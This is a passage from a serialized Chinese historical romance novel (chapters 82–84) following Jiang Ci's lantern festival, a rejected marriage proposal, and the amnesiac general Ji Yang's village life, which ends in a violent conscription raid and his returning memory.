眼里是个凶神恶煞呗,我一向温柔。”不待她回话,他转而望向前方,“那边似乎有舞狮表演,去看看?”
姜辞点了点头,二人随人流缓缓前行,直到来到城东广场的舞狮台下。
鼓声雷动,两头彩狮翻腾跳跃,台下观众掌声不绝。
这时,场上传来主持的高声:“今日舞狮采花,抛绣球啦!谁抢到这只绣球,来年便可心想事成!”
人群轰然起哄,都踮脚望着台上那只红绣球。
楼弃站在原地,眼神却从未离开那枚绣球半分。鼓点声骤响,那红绣球被抛至半空,人群中跃起数道身影。
只见楼弃纵身一跃,动作干脆利落,在众人惊呼声中稳稳接住了那颗红球。人群中爆发出一阵掌声与喝彩,夸他“身手矫健”、“一看就是练家子”。
他却没有任何炫耀之意,只径直穿过人群走回姜辞身边,将绣球递给她。
“你比我更需要这个。”他语气温和,眼神澄澈坦然,“送给你,就当是你的上元节礼物。”
姜辞微怔,接过绣球,一言未发。
她缓缓低头,闭目许下心愿。周围似乎都静了下来,只剩风中灯火在轻轻晃动。
许愿之后,她抬手,将绣球重新抛回舞狮人手中。
那绣球又一次被高高抛起,在人群中传来传去,像是在替她把那个愿望,递道天宫里,让那里的神仙帮她达成。
二人沿着街灯高挂的长巷,缓缓行至河边。
沿岸早已挤满了等候放灯的百姓,水波潋滟,灯影点点如星。楼弃揪着姜辞的披风往前挤了挤,在河岸边找了个空处。晚娘站得稍远,给两人留了些空间。
姜辞坐下,取来一盏橘红色的花灯,拿笔写下心愿:“愿姬阳早日归来,平安无恙。”
她写得极认真,落笔之后将灯轻轻放入水中。灯浮在河面上,被水波微微推着,顺流而下,像她牵挂许久的心事,也随那灯飘远。
而楼弃则转过身,背对她,也在写字。
他写得极快,仿佛不愿旁人看见。写完后,他望着河水出神一瞬,而后缓缓放灯,心愿只有短短一句——
“我愿她所想,成真。”
他看着那盏灯也顺流而下,才转回身来。
姜辞问他写了什么,他却笑笑:“说出来就不灵了。”
姜辞一时不解,只道他今日似乎比往日还要正经些。
就在两人一盏盏放灯之时,忽听得身后有人唤道:“姜姑娘。”
声音清晰而直接,二人皆回头。
那是一名身穿劲装的男子,步履沉稳,他走上前,拱手道:“我受人所托,前来送一份上元节的礼物。”
楼弃眯了眯眼,微微前挡一步,将姜辞护在身后:“你是何人?”
那人未慌不乱,从背后取出一个长筒形的锦囊模样的卷轴,双手高举,递向姜辞:“姑娘请看。”
姜辞狐疑走近,楼弃依旧警惕不退半分。姜辞接过那卷筒,系着一根红丝带,沉甸甸的,她解开丝带,缓缓打开。
只见卷轴之上,是完整的一纸西凉投降书。
第82章
姜辞怔愣许久,声音发紧:“是谁……让你送来的?”
那人答:“一位姓沈的将军,他未留下名讳,只说姑娘定会知道是谁。”
楼弃听罢忍不住凑过头看了一眼,也惊讶地挑眉:“这是西凉的印玺,投降书是真的……啧,这个姓沈的,还真是大手笔。姜辞,你如今手握凉州、东阳、西凉,要是再拿下北庭,你要不真做个女君王得了?”
姜辞没有说话,只是合上那卷投降书,重新放回筒子中。
“做君王?我没那心。”她轻轻一笑,神情淡淡,“每日点卯,操一辈子心,批不完的折子,管不完的事儿,还得跟一群大臣斗来斗去。太累了,我更喜欢自在的日子。”
楼弃挑眉:“那你喜欢什么样的日子?”
姜辞看着那悠悠流淌的河水,想了想,忽而说道:“我想骑马,到处去看看。”
“去看看这世上的山河,也许哪天,就能远远地,遇见一个风尘仆仆赶来见我的人。”她声音轻轻的,几乎被河风吹散。
楼弃看着她,心里一动。
他知道,她说的是姬阳。
远处的河面上,一艘小舟悄然泊在岸边人潮之外,逆光隐没于灯火与水波之间,显得格外不起眼。
舟舱内,沈廷安身披青衫,静静坐在窗边。
他侧身望出那扇半开的窗棂,看见岸上那个身影。姜辞站在灯火下,手中拿着他送上的礼物,眉眼被光映得柔和。
他望着她良久,目光幽沉。
片刻后,他垂下眼帘,伸手轻轻将竹帘放下。
“这紫川的上元节……”他喃喃低语,声线轻淡,“还真是热闹。”
夜色渐深,街上依旧人声鼎沸,烟火与花灯交织成一片热闹光景。
姜辞与楼弃并肩走在河边,刚踏下一座拱桥,忽而前方人群一让,她的脚步倏地顿住。
人潮中,一张熟悉的面孔映入眼帘。
那女子一改往日的素淡形容,衣裳华贵,面容细致,妆容精致,眉眼却比从前多了几分自持与锋利。她挺着已有些隆起的腹部,身后跟着两名婢女,正是谢府的穿着。
姜辞唇边轻轻一动,低声念了一句:“楚窈。”
身侧的楼弃察觉到她气息的变化,也跟着停了脚步。
而三丈之外的楚窈,也正好望见了她。
四目相接,空气仿佛在那一瞬凝住。
楚窈轻轻抚着自己的腹部,神情平静而疏离,再无曾经在府中低眉顺眼、楚楚可怜的模样。
姜辞看着她,脑海里飞快掠过无数可能:一个被发卖的奴婢,如何一步步攀附至今,竟能名正言顺地出现在谢府,还衣食无忧、有人侍奉?
想了半天也没想通。
楼弃凑近些,轻声问她:“你认识?”
姜辞收回视线,语气淡淡:“不认识。”
话音刚落,她已快步往前走去,与楚窈侧肩而过。楚窈似有所动,微微偏头,似想与她说话,却终究只是望了她一眼。
姜辞始终没有回头。
二人擦身而过,像是从未真正认识过彼此。
待走远些,楼弃仍不依不饶:“看你们俩像有仇……若你不喜欢她,我现在就回去,把她砍了丢河里喂鱼,如何?”
姜辞神情未动,淡淡道:“不必了,跟她计较太多,反倒显得自己与她是一类人。”
说罢,身姿挺直地走回家去。
等将姜辞送到府门,楼弃却没急着离开。他走到角落,把晚娘悄悄拉到一旁,压低声音问:“你们小姐刚才遇见的那女人是谁?”
一听“楚窈”二字,晚娘的火气当即腾地蹿起:“你说的是那个坏东西?!在东阳侯府里装柔弱勾男人,害得姑娘与都督离心,被休,如今又不知道怎么爬上了谢家的门槛,离谱的很!”
楼弃听得眉毛都挑起来:“……还有这等事。”
他似笑非笑,没再说话。
待回身后脚步声散尽,他独自走到谢府外头,正巧瞧见楚窈在婢女簇拥下慢慢回府。
她走得小心,脚步因怀胎而缓慢。就在即将迈入门槛的瞬间,忽然,“咚”的一声!
一个小石子精准地击在她膝弯,她猝不及防,脚下一软,整个人当场跪倒在地,掌心撑着石板,神情难堪。
身后的两个婢女吓了一跳,连忙去扶她。
楚窈顾不得疼痛,四下张望,目光警觉。
可黑夜里,什么也没看见。
巷口风起,灯影摇曳,那人却早已不见踪影,只余身后一串带着几分恶趣味的低哼笑声。
翌日,村外风雪渐歇,夜未全褪,草屋顶上积雪尚未融尽。
一间简陋的屋子内,干草铺就成床,墙角堆着药罐与熬剩的药渣,屋中弥漫着浓烈的草药气息。
床上的男子,指尖微微一动,紧接着,眉心缓缓皱起,仿佛挣扎着从一场漫长沉睡中醒来。良久,他才吃力地睁开
眼。
映入眼帘的是低矮的屋顶,屋梁间挂着干燥的艾草,耳边隐隐传来风刮门缝的呜鸣。他怔怔看着这一切,神色茫然,嘴唇微张,声音沙哑低沉得几不可闻:
“……这是哪里?”
脚步声响起,一名约莫三十出头的村妇推门进来,怀中抱着柴火,一见他醒了,眼中闪过惊讶之色,急忙将柴放下,快步走来。
“哎哟,小兄弟,你终于醒了!昏了这么多天,老天总算开眼了。”她脱下外衣,将脖颈上的兔毛领解开,放在他枕边。身上的粗布衣虽旧,却洗得极净。
“昨儿还是上元节呢,你可惜了,错过了热闹。”她一边絮叨着,一边倒了碗温水,小心喂到他唇边。
男人嗓子仿佛被火烧过一般,勉强咽下几口,眼神还是有些涣散。他迟疑片刻,嗓音嘶哑,问道:“我……是谁?”
话一出口,便仿佛触到了某个封锁的心窍,头猛地一阵刺痛。他眉头紧锁,痛苦地抬手抱住头,一时间额上冷汗直冒。
那村妇吓了一跳,忙将水碗放下,上前轻拍他的肩膀:“你慢点儿……别急,别急。头又痛了吧?你受伤重着呢,刚醒就想这些,哪受得住。”
男子挣扎着坐起身,她见状,只得伸手扶住他的臂膀,将他靠在干草枕上,拿帕子给他擦了擦额上的汗。
他侧过头,看着她的脸,语气缓慢却带着一丝疏离:“你……是谁?”
“我叫玉娘。”她叹了口气,替他拉了拉毯子,“和我那口子住这破草屋。这些日子你昏着,全是我和他轮着给你喂的药汤。你别怕,我们不是什么坏人。”
男人点了点头,又垂眼看自己一身伤痕累累的身体,裹着破旧的内衫,肩头还有尚未结痂的刀伤。他嗓音低得像风穿过旧窗纸:“那我是谁……”
玉娘神色一顿,半晌,才轻声道:“我哪儿知道你是谁呀。我们是之前在河边捡到你的,那时候你浑身是伤,身上的铁甲都破得不成样子,人也没个动静,这大冷天儿的……我们差点以为你已经死了,是我男人说,你的手指还抽了一下,才背你回来的。”
她顿了顿,又嘀咕了一句:“你那时候倒像是从战场上滚下来的。”
男人神情更添困惑,眼中写满茫然。他低头看了看自己,摸了摸那绷得紧实的伤口,又摸了摸头顶,一时竟找不到任何关于自己的印象。
只觉头痛得像要裂开,胃也空得像个破瓢,他低低开口:
“我……现在很饿。”
玉娘噗嗤一笑,道:“饿啦?这才像个活人。”
她一边说着,一边起身往灶房走去:“你等着,我去给你热碗稠米粥,喝完能好些。”
男人靠在床头,茫然望着她的背影,喉间滚动了两下,终究没能喊出自己的名字。
因为他根本不知道——自己是谁。
只记得那个梦中,总有一双眼睛,泪光盈盈,轻声对他说:
“姬阳……我等你回来。”
可“姬阳”是谁呢?
他是谁?
几日过去,雪也停了,村头的树枝上仍结着薄霜。
姬阳的伤好了些,终于能下床走动。
玉娘抱了几件干净衣裳进屋,递给他,道:“这是我弟弟冬子的衣服,你试试吧。我瞧着你俩身形差不多。”
姬阳接过,低头看了看那一叠洗得发白的布料,愣了一下,却也没多问。他缓缓换上衣裳,动作还有些生疏。
换好后,他走出屋门,院子外头,玉娘和她那口子许九哥正围着灶台忙活。
玉娘一回头,见他站在门口,不禁笑了:“哎哟,他穿冬子的衣裳还真合身。”
“可说呢!”许九哥打量了他两眼,咧嘴道,“这衣裳搁你身上比我家那小子穿着精神多了。”
姬阳低头看了看自己,一时没说话,只是轻轻点了点头。
玉娘从锅里掏出一只刚洗净的鸡,说:“你既然能下地了,今儿我杀只鸡,咱们好好庆一庆。”
她一边拔鸡毛,一边跟他说:“你也别急,慢慢养着,这身子骨好歹是捡回来的。等你记起家在何处,我们送你回去,你家人啊,怕是也盼你盼得眼睛都红了。”
姬阳倚着门柱站着,眼神在柴垛与屋檐之间游移着,沉默半晌,忽然道:“……我常常做梦。”
玉娘一愣,停下手中的活儿,问道:“梦见什么了?”
他望着天边浓云下微露的光,声音低哑:“梦里,有个女子提着灯,在雨里走来,一直走到我跟前。”
“她说了什么?”玉娘追问。
姬阳却摇了摇头:“我听不清……也看不见她的脸。”
玉娘听了,只觉心头微微一沉,嘴上却笑着打趣:“那是你媳妇儿吧,隔着梦都惦记你呢。”
许九哥在一旁凑趣,故意压低声音说道:“你说,他这人拾回来时,手里还攥着一个绣着老虎头的护符,一看就是姑娘家绣的,八成是他媳妇儿给的。”
“人家都有媳妇了,我们就别瞎操心了。”玉娘说道。
“我还寻思着,”他转头看玉娘,“咱三妹不是还没出阁?他模样俊俏,要是能留下来,咱家还能多添把力气,要不让他入赘?”
话音刚落,玉娘白了他一眼,抡起拳头捶了他一下:“你是不是没心没肺?人家现在失忆呢,你说这些,是不是趁火打劫?丢不丢人!”
许九哥捂着胳膊叫唤:“不是我胡说嘛,我也是心疼我妹……”
玉娘没理他,转头又对姬阳说:“你别听他瞎说,我们不是那种人。你慢慢养着就是,哪天你想起家在哪儿了,咱就一块送你回去。”
姬阳听着他们斗嘴,唇角微不可察地动了动,却没笑。
他只是低头,看着自己洗得发白的布鞋,指尖仍能感到那护符藏在腰间衣内,那只小小的老虎头,线脚早已模糊不清,却仍带着隐隐余温。
他总觉得,那灯下的女子就在梦的尽头,一步一步朝他走来。
可他偏偏,总也看不清她的模样。
这一日,天刚亮,天气也稍微暖和了些。
玉娘裹了件厚衣裳,一边往背篓里塞干粮,一边朝屋里喊道:“小兄弟,起来了没?今天赶集,得早些去!”
姬阳应了一声,从屋里出来,肩上搭着斧头。
许九哥早已在门口等着,见他出来,扛起背篓笑道:“今日柴多,咱早点出发,占个好位置卖得快。”
三人便结伴往山林里去。
山道湿滑,姬阳一手扶着树干,一手执斧,跟着他们穿过密林,寻了片松林开始砍柴。他力气大,干起活来毫不含糊,没一会儿就砍下一整堆。
玉娘蹲在一旁歇息,看他额角薄汗微出,却一句怨言没有,心里不由得泛起怜惜:“你说你这身板,搁城里头,指定是练过的。”
许九哥点头:“不光是力气大,你看他砍柴的架势,稳当又利索,刀口干净,我就说他是上过兵营的。”
姬阳闻言,微微一怔,手中的斧头顿了顿。
“兵营?”他轻声重复了一遍,脑子里倏地闪过一阵模糊的画面:号角声、战马嘶鸣、寒风卷过披风的猎响声。他好像站在城头,身后是万军……
但那画面转瞬即逝,怎么想都抓不住了。
“……可能吧。”他低声说道,继续劈柴。
待到柴捆好,三人挑着担子下山,赶往镇上集市。
集市临河而建,这时天色微亮,街上已有许多早起的村民在摆摊叫卖。玉娘挑了个靠近桥口的空位,许九哥和姬阳将柴整整齐齐地码好。
有人走过,看他们柴干火旺,又被削得齐整,很快就有人上前询价。
“这个多少钱?”
“这一捆六文,若多买些可以便宜。”
姬阳少言寡语,只在一旁装柴、称重,吆喝全靠玉娘。但他那一身身板挺拔、眉眼清俊,倒是引来不少姑娘偷偷回头。
许九哥笑着跟玉娘咬耳朵:“你瞧瞧,人都快看呆了,这要是我们三妹在场,还不得主动提亲?”
玉娘狠狠掐了他一把:“就你多嘴,闭上。”
集市渐热闹,柴卖得也差不多,玉娘给每人买了个热腾腾的糖饼,一边咬一边说:“下回咱再砍多点。”
姬阳接过糖饼,站在河边,静静望着水面发呆。河水倒映着熙攘人群,他却忽然怔了怔,仿佛在这人声鼎沸中听到了一个声音——
“姬阳。”
第83章
刚刚那一声唤得太轻太真,他猛然回头,却只看见街上来来往往的陌生人影。
“怎么了?”玉娘走近问。
他摇摇头,低声说:“没什么。”
只是那一声,仿佛穿透了所有迷雾,让他心口蓦地一紧。
那是谁?为什么他一听到,心就像被什么拽住了似的。
他捏着手中的糖饼,站在河边,看着这座陌生的集市,忽然觉得它似曾相识。
姬阳问道:“这是哪里?”
玉娘回道:“这儿啊,是北庭淮郡,咱们这地方穷,离大城都远着呢。小兄弟你放心,我们这儿偏得很,没人管你是谁,也没人上门查你。”
姬阳微怔,唇瓣轻动,喃喃念出两个字:“凉州。”
声音很轻,几乎只是本能地脱口而出。可那一瞬,心口却像是被人狠狠攫了一把,隐隐作痛,
玉娘脸色一变,忙伸手按住他的肩膀,低声“嘘”了一声:“你可别乱说。我们这地方再小,也归北庭管。凉州的事,可别提。”
姬阳一怔,眼神困惑,却还是点了点头。
玉娘看他神情茫然,心中不忍,又放轻了语气道:“你也别怕。”
姬阳垂眸,没有说话,只是摸了摸腰间的虎头护符,眼神暗暗发沉。
二月水暖,天气晴好。
紫川城外的官道两侧,新草生芽,山脚下的土地尚未完全解冻,却已能看见零星野花破土探出头来。
楼弃就要走了。
姜辞披着浅灰斗篷,静静站在官道旁,目送着他整理缰绳、理好马鞍。
楼弃翻身上马前,忽然叫住了她:“姜辞。”
姜辞转过身。
他站在马前,风吹乱鬓发,神情却前所未有的认真。
“我有个问题,想了许久,一直不敢问你。”
姜辞一怔,没说话,只是静静看着他。
楼弃目光微动,轻声道:“如果……我是说如果,姬阳真的回不来了,我说——我想娶你,你……会不会考虑?”
这句话一出口,空气像是顿了一瞬。
“我成过亲。”
“我不介意。”
“我生过孩子。”
“我会待他视如己出。”
“我不与人共享夫君。”
“我还是童子,日后也不会纳妾,等我当了王,只有你一个王后。”楼弃就这么看着她,“我知道你在与我说笑,但我没与你说笑。”
远山沉默,风穿过林梢,拂起她耳侧几缕碎发。
姜辞微抿了唇,眸色很淡,也很静:“我会一直等他回来。”
“无论多久。”
楼弃没有说话,只是深深地看着她,眼中掠过一丝藏得极深的失落。
但终究没再多问一句,随后挂上以往那副痞里痞气的笑。
他翻身上马,收紧缰绳,临走前望了她最后一眼,却还是没忍住,轻声道:“那我会等你。”
“无论多久。”
说罢,他策马离去,身影很快隐没在薄雾尽头。但他举起一只手,在空中挥了挥,没有回头。
姜辞看着那道背影,直到他彻底走远。
身侧,晚娘低声叹了口气:“倘若都督真的……姑娘,我是说倘若,倘若他真的回不来了,奴瞧着燕王也是个不错的……”
姜辞侧目看她,淡淡一笑:“连你也这么说?”
晚娘赶紧摆手:“哎哟姑娘,我瞧我净说胡话,都督命大福厚,肯定会回来的。”
姜辞没有再说话。
她抬头望天,天色晴好,春阳浅淡,却无半点暖意渗入骨中。
她声音不高,却清晰坚定:“若他真的回不来,我也不会另嫁他人。”
“我会替他守着东阳,守着他的家人,就像他义无反顾替我出征那样。”
晚娘怔怔望着她,许久,轻轻点了点头。
楼弃回到幽州不过短短三日,刺客便如影随形,悄然入夜。他本以为只是北庭余孽所为,谁知帘后一剑刺来,却是一张熟悉的面孔。
苏玉。
她一袭夜行衣,眼中却没有杀气,只有颤抖的决绝。
楼弃抬手挡开她的剑,冷笑一声:“你还想杀我?”
苏玉手腕一抖,力道不稳,却仍强撑着不肯收剑:“你明知道我为什么来。”
楼弃没再动,只侧过脸,沉声道:“苏玉,我觉得上一次我对你说的已经很明确了。”
苏玉咬着唇,不语,眼中隐忍的泪光几欲夺眶。
良久,楼弃忽然开口:“若你真想要一个名分,我可以娶你。”
苏玉一震,手中长剑一寸寸垂下:“你说……什么?”
楼弃目光漠然:“我可以收了你,但是此生我都不会踏入你的房门半步,你不能成为我的妾,更不会成为我的妻,你若是愿意守一辈子活寡,我无所谓,但我只能告诉你,此生,你想要的,我都不会给。”
苏玉低头,笑了,却满是自嘲:“你从来都知道我想要什么。”
屋中静默如死,过了许久,苏玉才缓缓收剑,转身欲走。
苏玉走至门边,忽然停住脚步:“我也曾以为你是我的救赎……现在看来,是我一厢情愿,就此别过,以后不会再见。”
楼弃望着她的背影渐行渐远,神色忽地收敛了轻浮,眉宇间多了一分肃然。
眼下他还有更重要的事要做。
北庭已遭重创,正是追击良机,只要顺势攻下,所费兵力不多,却能一举扭转四方之势。
他抬手唤来亲兵,低声道:“传令各营,准备启程,兵分三路,进逼北境。”
风起处,他眸光如刃,心中已有决断。
如今,西凉已递出投降书,落在姜辞手中,这便是默认,她执掌西凉。
若姬阳某日真的回来了,他从凉州拿下北庭,从此瀚北再也无法与之抗衡。
可若姬阳……真的不在了。
那么,他楼弃,要以北庭为筹,与她并肩而立。
自从那场大战之后,北庭边境虽表面平静,实则暗流涌动。
开春以来,官府接连发出征兵令,打着招募义军的幌子,实则在四处抓壮丁,集市上已有人被当街带走,百姓人心惶惶。
这日,玉娘从集镇回村,刚踏进门,便一头扎进院中,气喘吁吁地喊道:“九哥,快、快躲起来!”
许九哥正和姬阳在修缮屋子,见她如此慌张,不由打趣道:“你慢点,说得跟屁股后头有老虎似的,出啥事了?”
玉娘仰头喘了几口粗气,声音还发颤:“集市……征兵告示贴满墙了,北庭那帮兵官正在村村扫人,说是征兵,其实是强抢!看到男人就抓,没户籍也照收!”
姬阳闻言,脸色微沉,手中木锤一顿。
许九哥从屋檐上跳下来,皱眉道:“不是前些日子才吃了败仗?怎么又要打了?”
玉娘气得跺脚:“谁知道他们打得哪门子仗,这仗一年四季打个没完,地都种不成了!”
说着说着,她眼眶便红了:“冬子也是当初被抓去打仗的,结果一走两年,连个信儿都没了……我不能眼睁睁看你也跟着去了,我一个人过不下去的……”
许九哥听她说到亡弟,脸色也不好看了,伸手将她搂过来安慰:“傻子,说什么一个人?真要走,我就跟你一块儿走。”
玉娘抹了把眼泪,又看向姬阳:“小兄弟,你也得走,你看起来身体健壮,早晚要被盯上。”
姬阳站在屋顶,看着远方天际云层压低,沉声道:“我记不清过去的事,但不知为何……我觉得,我该回凉州。”
许九哥一怔:“凉州?”
“我不知道。”姬阳摇头,语气却格外肯定,“但我的心告诉我,凉州应该是个好去处。”
玉娘看着他认真神色,也不再犹豫,拍板道:“那就去凉州,我听说那儿的姜刺史接纳战乱百姓,有粮有屋,还有药医病,咱们就去投奔他。”
“咱们也不求什么了,只要能活着,就比在这儿等着被抓强。”
说罢,夫妻二人便进屋收拾包袱,玉娘将家中藏好的钱从炕头取出,许九哥将干粮系紧挂在背上。
姬阳进屋,把炉火掐灭,又将墙角的包袱绑好,默默帮着将一切备妥。
收拾完行囊时,村口方向已隐隐传来一阵马蹄与吆喝的混杂声。
玉娘扒窗往外看一眼,脸色骤变:“不好,他们已经进村了!”
外头传来沉重
的脚步与踹门声,夹杂着妇人的惊叫和孩子的哭喊。
那帮官兵像疯了似的,不问缘由,见家门紧闭便踹开,屋里若有壮年男子,便直接拽出来按地登记。哪怕是十来岁的少年,也不放过。
玉娘压低声音,对姬阳和许九哥说:“走,我们从后头绕,走小道。”
三人踮脚出了后门,正欲绕至后山,姬阳脚步却停了下来,他看着前头那些官兵扯着人往外拖的模样,那些压在地上哭喊的妇人、惊恐逃窜的孩子……胸腔中仿佛有一股怒意被死死压住。
许九哥拉了姬阳一把:“快点!你再犹豫可就走不了了!”
姬阳却像是被钉在原地,站在篱笆后,望着村前那空地,一动不动。
他的目光越过低矮的房舍,看着远处几个官兵正把一位老人推倒在地,还从一户人家门里拽出一个男童,孩子拼命挣扎,母亲在一旁哭喊。
他身旁,是低声恳求着的许九哥,是满脸惊慌、护着包袱的玉娘。
可他脚步却挪不开了。
那哭喊声,撞进他耳里,每一声都像针扎般刺在他心头。
“快走啊!你还愣着做什么!”许九哥忍不住吼他,声音里透着急切,“等他们过来就来不急了!”
姬阳却低头,看着自己紧握成拳的手。
他不知道自己是谁,也不知道自己曾经是什么人。
但他知道一件事。
他不能就这样走。他不能看着百姓在刀下哭喊、求生,却装作没听见。
他不曾记得过去的名字,却记得此刻胸腔里这股怒火,从未平息。
他低声道:“对不起。”
许九哥一愣:“你说什么?”
姬阳回头看他,眼神前所未有的清明:“我……做不到。”
却听得不远处一声粗暴大喝:“那边几个!别动!”
原来早有人瞧见他们的身影,指着他们大喊,引来两名官兵小跑着冲向玉娘家门前。
玉娘脸一沉,将手里的包袱狠狠往地上一扔,咬牙骂道:“这下好了,谁也甭想走了!我早说了,小兄弟你怎么就这么倔……”
许九哥却早已上前打马虎眼,拦在那两名官兵前:“官爷官爷,您听我说,我这腿早年打仗伤了,您看我这跛得都跑不了,我这弟弟也不成。”
他说着还用手指了指自己的太阳穴,赔着笑脸:“他这儿不行,上了战场分不清敌我。”
可那两个兵官根本不听,一脚踹开院门前的篱笆,冷眼打量几人一番,其中一人指着姬阳:“这小子看着精神着呢,装什么疯?”
“废话少说,登记名字,跟我走!”另一个说着就伸手要拽。
玉娘眼看事态失控,猛地冲上来挡在姬阳身前,却被狠狠一脚踹翻在地:“臭女人,敬酒不吃吃罚酒!”
她被踹得一个趔趄,撞翻了院角的水桶,湿泥沾了一身,狼狈不堪。姬阳目眦欲裂,立刻上前将她扶起:“玉娘!”
许九哥见自家媳妇被打,登时红了眼,也扑上去护住,却被那兵官反手一拳击倒在地,鼻血长流。
那两人还不解气,又要动手,姬阳眼看着玉娘伏在地上轻轻喘息,许九哥压着怒火勉力护着她,拳头已攥到发白。
“够了。”姬阳喉头滚动,声音低哑,却透着一股难以压抑的怒意。
可玉娘却忽然死死抱住他的腿,拼命摇头,眼中含泪,带着近乎哀求的光:“别动……别动……求你了……”
“他们不认人,打死你都不眨眼。”她的语气颤抖,却坚定。
许九哥也虚弱地抬头,一手按着自己胸口喘气:“小兄弟,忍着……万万不可……我们跟他们走,咱们……还有机会活着走出去。”
姬阳站在两人中间,目光紧盯那两个咄咄逼人的官兵,拳头缓缓松开。
他低头看向玉娘。
她眼底全是恳求,全是活下去的愿望。
那一刻,他终究低声应了一句:“好。”
村子中央那片空地被临时围了起来,早已有数十几个男丁被驱赶着聚集在此。
许九哥与姬阳也被推搡着带入其中。身边都是乡人,衣衫褴褛,神情惶惶,有的不过十四五岁,还有些鬓发斑白的老人,甚至还有个看起来不过十岁出头的男孩,脸都没洗净,浑身还带着泥巴印。
姬阳的眉头一点点皱起,眼神死死盯着这帮官兵所为。
“给我排好队,一个个上来登记!”一个头目模样的官兵在一旁吆喝,声音中满是粗暴与不耐烦。
不远处忽然传来争执声。
“别碰我孩子!他还病着!他才七岁啊,你们这是强抢民命!”
一个瘦弱的妇人冲出屋门,疯了一般扑向一个正拖着孩子往外走的兵卒,那孩子骨瘦如柴,被拽得踉踉跄跄,脸色苍白,嘴里咳得发响。
那妇人扯着官兵的衣服,哭着死命往回拉:“官爷,他才刚退烧,连饭都吃不下,求求你放过他吧,求求你了……”
那兵卒一脚将她踹开,厌烦地骂道:“滚远点!”便要继续将孩子拖走。
“吵什么吵?”那带队的小头目走了过来,手按着腰间佩刀,一脸阴鸷。
妇人看见他,急忙跪着抱住他腿:“官爷您高抬贵手,我给您磕头,我去也成,我儿子病着,真经不起折腾,求您放过他吧。”
那小头目根本不听,反而冷笑一声,拔刀如风。
“烦死人了。”
寒光一闪。
一刀刺入那妇人腹中。
她似乎还没有反应过来发生了什么,只是呆在原地,脸上还挂着求饶的神情,嘴角蠕动几下,终究一句话都说不出,缓缓跪倒,血泊在泥土中晕开。
“娘——!”
那被抓的孩子惊叫着,他一口咬住官兵的手,挣脱后冲向倒地的母亲。
“你个小畜生!”被咬了一口的兵卒怒吼,嘴里骂骂咧咧,拔刀便向那孩子逼近。
“我让你跑!”
“我宰了你!”
周围村民一片惊恐,纷纷闭上眼睛,不敢直视。
可刀还未落下,一道黑影骤然挡在了孩子面前。
“够了。”
是姬阳。
那官兵顿住,先是错愕,随即怒极反笑:“你小子找死?”
他扬起手中长刀便砍下去。
人群惊呼,许九哥也惊恐大喊:“小兄弟——躲开!”
可刀落之际,姬阳只是轻轻一个侧身,像是本能般地闪避开了这致命一击。
他反手抓住对方手腕,猛然一扭,咔的一声,那兵卒惨叫着跪下。
“你们……欺百姓、杀妇孺……也配称为军?”
姬阳冷冷看向那小头目,声音不大,却在众人心头激起波澜。
他缓缓抬头,一双眼眸沉若夜色。
场面一瞬寂静。
那个小头目先是一怔,旋即怒吼一声:“你敢反抗征兵?!上,给我砍了他!”
数十名兵卒如狼似虎地围了上来,皆是手持钢刀直逼姬阳。
“杀了他!”有人嘶喊。
姬阳眼神一冷,眸底寒光乍起。他伸手从旁人腰间扯下一根铁链,手腕一抖,铁链横扫,兵卒倒飞撞地,哀嚎不断。
姬阳脚步如影,拳脚皆是杀招,打得对方兵器脱手、人仰马翻。
又有数人从两侧冲来,姬阳身法迅疾,脚尖一挑,将一把落地长刀卷入手中。
尘土飞扬中,姬阳杀气逼人,围
观的村人都看呆了。
“……他是谁?”
“他根本不是我们村的……”
玉娘站在角落,嘴唇发颤:“小……小兄弟……”
但就在这时,姬阳背后,一个逃窜至旁的兵卒从地上抓起一根粗重的木桩,悄无声息地逼近。
木桩狠狠砸在了姬阳的后脑!
姬阳身子一震,手中刀应声落地,整个人跪倒在地,单膝插入泥土。
“小兄弟——!”
玉娘和许九哥惊呼出声。
他捂住后脑,鲜血顺着指缝流下,额角青筋暴起,脸色瞬间苍白,整个人都摇摇欲坠,眼前,一幕幕景象如洪水般涌来。
“姜……辞……”他低声呢喃着这个名字。
第84章
姬阳单膝跪地,鲜血顺着鬓角滑落,他撑着地面缓缓起身,眼中神色已全然不同。
他已记起自己是谁。
他是姬阳,是东阳的大都督。
可眼下,他不是,他也不能是。
他望着那些倒地呻吟的兵卒,又回头看了一眼被吓得瘫坐在地的孩子,和抱着孩子母亲尸首痛哭的男童。
他一字一句开口,声音低沉清冷:“我们不能让他们躺在这里。”
玉娘怔怔望着他:“你说什么?”
姬阳看向许九哥:“九哥,有力气么?”
许九哥一手按着伤处站起来:“有!”
“帮我。”姬阳冷声道,“把这些人都集中到那边谷口,埋掉。”
玉娘惊愕:“埋了?可这是官兵啊!”
姬阳看着她,声音平静却不容质疑:“他们不是军,是贼。他们所做之事,早已丧尽军纪。他们的死,罪有应得。”
“可若叫人知道他们死在咱们村,整个村都得被诛。”
他沉声道:“所以不能留下痕迹。不能让人知道,是我们动的手。”
许九哥反应过来:“你是说,要伪造现场?”
姬阳点头,眸光沉静如冰:“说是流寇进村,杀了征兵官兵,抢了人,要快,等天一黑就动手。”
“但要留一个活口。”
玉娘睁大了眼:“留活口做什么?”
姬阳转头看向那为首的小头目,他还没断气,正奄奄一息地挣扎。
“这群人以征兵为名,劫掠百姓、杀人如麻,北庭主事之人未必个个都知情。”他淡淡道,“这个人会替我们把消息传回去,说这里是土匪干的,事发突然,他命大逃出一条命。”
玉娘明白了,点点头:“你是要用土匪作幌子,为村里脱罪。”
姬阳走到小头目面前,居高临下说道:“若你不说……”
他俯下身来,将一把沾血的刀缓缓插入对方耳旁的泥土里,声音低沉而缓慢:“我可以随时,杀了你。”
那兵官猛地抽了一口凉气,全身冷汗直冒。
“况且,你也不想让你的主子知道你们被手无寸铁的村民打败了吧,你以保护村民为由,没准儿还能混个赏。”
他用尽全力点头,喉咙发不出声音,只发出几声含糊的呜咽。
姬阳站起身,冷冷看他一眼:“滚。”
许九哥上前,沉声问他:“你呢?”
姬阳垂眼,轻声道:“我要回凉州。”
玉娘张了张口,终究什么也没说,只是点头:“那……我们跟你走行吗?”
几个壮年村民慢慢围了上来,看着姬阳,眼里满是敬畏与迟疑。
忽地,一个满脸风霜的老汉拄着木杖走了出来,他眼神发红,刚才死去的是他儿媳。
他看着姬阳,眼神沉沉地拱手一拜:“小兄弟……你救了我们。”
身后,也有妇人带着孩子,轻声附和:“谢谢你……若不是你,我儿怕是也没命了。”
有年轻些的村夫站出来,大着胆子说道:“我们不知你是何方神圣,但你能一人对十几个兵,肯定不是等闲之辈。”
“我们这破村子,早都过不下去了,年年征粮征兵,打仗打得地都种不了。”
